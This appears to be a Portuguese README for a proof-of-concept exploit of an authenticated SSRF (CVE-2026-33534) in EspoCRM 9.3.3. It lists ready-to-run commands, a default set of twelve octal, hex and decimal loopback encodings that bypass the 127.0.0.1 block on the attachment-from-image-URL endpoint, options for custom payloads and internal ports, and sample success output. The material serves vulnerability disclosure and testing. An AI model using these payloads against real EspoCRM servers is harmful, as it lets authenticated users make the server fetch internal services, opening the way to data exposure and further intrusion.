
EspoCRM 9.3.3 - SSRF autenticado via notação alternativa de IPv4
Prova de conceito de SSRF autenticado para EspoCRM 9.3.3 via notação alternativa de loopback IPv4 no endpoint /api/v1/Attachment/fromImageUrl.
O EspoCRM 9.3.3 bloqueia URLs de loopback diretas, como http://127.0.0.1/..., mas o caminho de busca no lado do servidor aceita representações alternativas de IPv4 que o cURL normaliza para loopback. Isso permite que um usuário autenticado com acesso ao fluxo afetado de upload de anexos/imagens faça o servidor EspoCRM buscar recursos internos.
O exploit primeiro envia uma solicitação de controle direta para 127.0.0.1 e espera que ela seja bloqueada com HTTP 403. Em seguida, testa múltiplos payloads de loopback codificados e relata quais produzem um anexo armazenado.
requestsInstalar dependência:
python3 -m pip install requests
Validação local básica contra uma instância do EspoCRM executando na porta 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Testar um serviço interno em uma porta e caminho personalizados:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Usar apenas payloads personalizados:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
O exploit testa estas representações de host de loopback por padrão:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Arquivos de payload personalizados são suportados. Cada linha pode ser:
host
label=host
Exemplo:
hex-dword=0x7f000001
decimal-dword=2130706433
Execute com:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url URL base do EspoCRM
-U, --username Nome de usuário do EspoCRM
-P, --password Senha do EspoCRM
--internal-port Porta de loopback interna a buscar
--internal-path Caminho interno a buscar
--payload Notação adicional de host de loopback
--payload-file Arquivo com um payload de host por linha
--no-default-payloads Usar apenas payloads personalizados
--field Campo de anexo, padrão: avatar
--parent-type Tipo de entidade pai, padrão: User
--parent-id ID opcional da entidade pai
--cleanup Excluir anexos criados por payloads bem-sucedidos
--stop-on-first Parar após o primeiro bypass bem-sucedido
--insecure Desabilitar verificação de certificado TLS
A exploração bem-sucedida mostra o controle de loopback direto bloqueado e um ou mais payloads codificados aceitos:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg do próprio listener de loopback do alvo. Ajuste --internal-port e --internal-path para outro serviço interno.User.avatar; use --field, --parent-type e --parent-id se a conta testada precisar de um contexto de upload diferente.--cleanup durante os testes para excluir anexos criados automaticamente.